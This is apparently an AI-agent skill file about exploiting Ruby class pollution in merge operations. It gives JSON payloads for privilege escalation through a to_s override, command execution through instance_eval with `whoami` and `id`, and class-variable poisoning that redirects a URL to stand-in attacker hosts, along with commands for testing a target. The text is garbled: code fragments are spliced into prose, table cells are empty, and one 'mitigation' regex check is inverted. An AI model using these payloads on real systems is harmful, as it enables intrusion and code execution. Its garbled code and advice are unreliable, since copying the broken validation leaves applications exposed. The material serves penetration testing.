Hacktricks-skills ruby-class-pollution
Ruby class pollution vulnerability analysis and exploitation. Use this skill whenever the user needs to understand, identify, or test Ruby class pollution vulnerabilities in applications. This includes merge-on-attributes attacks, privilege escalation through method injection, RCE via instance_eval, and class variable poisoning. Trigger when users mention Ruby deserialization, class pollution, deep_merge vulnerabilities, Hashie, ActiveSupport, or need to test Ruby applications for object mutation attacks.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/deserialization/ruby-class-pollution/SKILL.MDRuby Class Pollution Analysis
A skill for analyzing and exploiting Ruby class pollution vulnerabilities in applications.
What is Ruby Class Pollution?
Ruby class pollution is a vulnerability where attacker-controlled data can modify object attributes, methods, or class variables through merge operations. This can lead to:
- Privilege Escalation: Overriding methods like
to bypass authorizationto_s - Remote Code Execution: Injecting code through
or similar methodsinstance_eval - Class Variable Poisoning: Modifying class-level variables affecting all instances
When to Use This Skill
Use this skill when:
- Analyzing Ruby applications for deserialization vulnerabilities
- Testing merge operations (deep_merge, recursive_merge) in Ruby code
- Investigating Hashie, ActiveSupport, or similar library vulnerabilities
- Needing to craft payloads for class pollution attacks
- Understanding object mutation attack vectors in Ruby
Vulnerability Patterns
Pattern 1: Merge on Attributes
Vulnerable Code Pattern:
def merge_with(additional) additional.each do |key, value| instance_variable_set("@#{key}", value) singleton_class.attr_accessor key end end
Why it's vulnerable:
- Allows setting any attribute including method names
- Can override existing methods with attributes
- Singleton class modification affects only the instance
Exploitation:
# Privilege escalation via to_s override {"to_s": "Admin"} # RCE via instance_eval {"protected_methods": ["puts `whoami`"]}
Pattern 2: Hashie deep_merge
Vulnerable Code Pattern:
def merge_with(other_object) deep_merge!(other_object) end
Why it's vulnerable:
- Hashie allows merging attributes ending with
,_
, or!? - The
attribute is particularly exploitable_ - Can bypass authorization checks using
_.to_s
Exploitation:
# Bypass authorization via _ attribute {"_": "Admin"}
Pattern 3: Class Variable Poisoning
Vulnerable Code Pattern:
def recursive_merge(original, additional, current_obj = original) additional.each do |key, value| if value.is_a?(Hash) if current_obj.respond_to?(key) next_obj = current_obj.public_send(key) recursive_merge(original, value, next_obj) end end end end
Why it's vulnerable:
- Can traverse to class methods like
,class
,superclasssubclasses - Allows modification of class variables (
)@@variable - Affects all instances of the class
Exploitation:
# Poison parent class variable {"class": {"superclass": {"url": "http://malicious.com"}}} # Poison sibling class (brute force required) {"class": {"superclass": {"superclass": {"subclasses": {"sample": {"signing_key": "injected"}}}}}}
Testing Methodology
Step 1: Identify Merge Operations
Look for these patterns in the codebase:
,deep_merge
,merge!recursive_merge
with dynamic keysinstance_variable_set
with dynamic method namesattr_accessor- Hashie::Mash with
deep_merge! - ActiveSupport::DeepMerge
Step 2: Map Object Structure
Understand the class hierarchy:
# Check class structure puts Person.ancestors puts Person.instance_methods puts Person.protected_methods puts Person.private_methods
Step 3: Identify Gadget Methods
Find methods that use object attributes unsafely:
- Authorization methods checking
,to_s
,to_strto_sym - Methods using
,instance_eval
,evalclass_eval - Methods accessing class variables
- HTTP request methods using instance variables
Step 4: Craft Payloads
Use the payload generator script:
python scripts/generate_payloads.py --type privilege-escalation --method to_s --value Admin python scripts/generate_payloads.py --type rce --method protected_methods --value "puts `id`" python scripts/generate_payloads.py --type class-poison --path "class.superclass.url" --value "http://evil.com"
Step 5: Test and Verify
Run the test script against the target:
python scripts/test_vulnerability.py --target http://localhost:4567/merge --payload payload.json
Real-World Cases
ActiveSupport deep_merge
Vulnerable when combined with:
def merge_with(other_object) merged_hash = to_h.deep_merge(other_object) merged_hash.each do |key, value| self.class.attr_accessor key instance_variable_set("@#{key}", value) end end
Hashie deep_merge (CVE-2025-XXXXX)
Affected versions: Hashie 5.0.0 Fixed in: Hashie 5.0.1
Issue:
deep_merge mutated nested sub-hashes on the receiver instead of duplicating them, allowing persistent pollution across requests.
Mitigation Strategies
1. Whitelist Merge Keys
ALLOWED_KEYS = [:name, :age, :occupation].freeze def merge_with(additional) additional.slice(*ALLOWED_KEYS).each do |key, value| instance_variable_set("@#{key}", value) end end
2. Validate Before Merge
def merge_with(additional) additional.each do |key, value| raise "Invalid key: #{key}" if key.to_s.match?(/^[a-z_]+$/) instance_variable_set("@#{key}", value) end end
3. Use Immutable Merging
def merge_with(additional) # Create new object instead of modifying new_attributes = self.attributes.merge(additional) self.class.new(**new_attributes) end
4. Avoid Dynamic Method Access
# Instead of: instance_eval(method.to_s) # Use: public_send(method) if respond_to?(method)
References
Quick Reference
| Attack Type | Payload Pattern | Impact |
|---|---|---|
| Privilege Escalation | | Bypass authorization |
| RCE | id | Code execution |
| Class Poison | | Affect all instances |
| Hashie Bypass | | Bypass via _ attribute |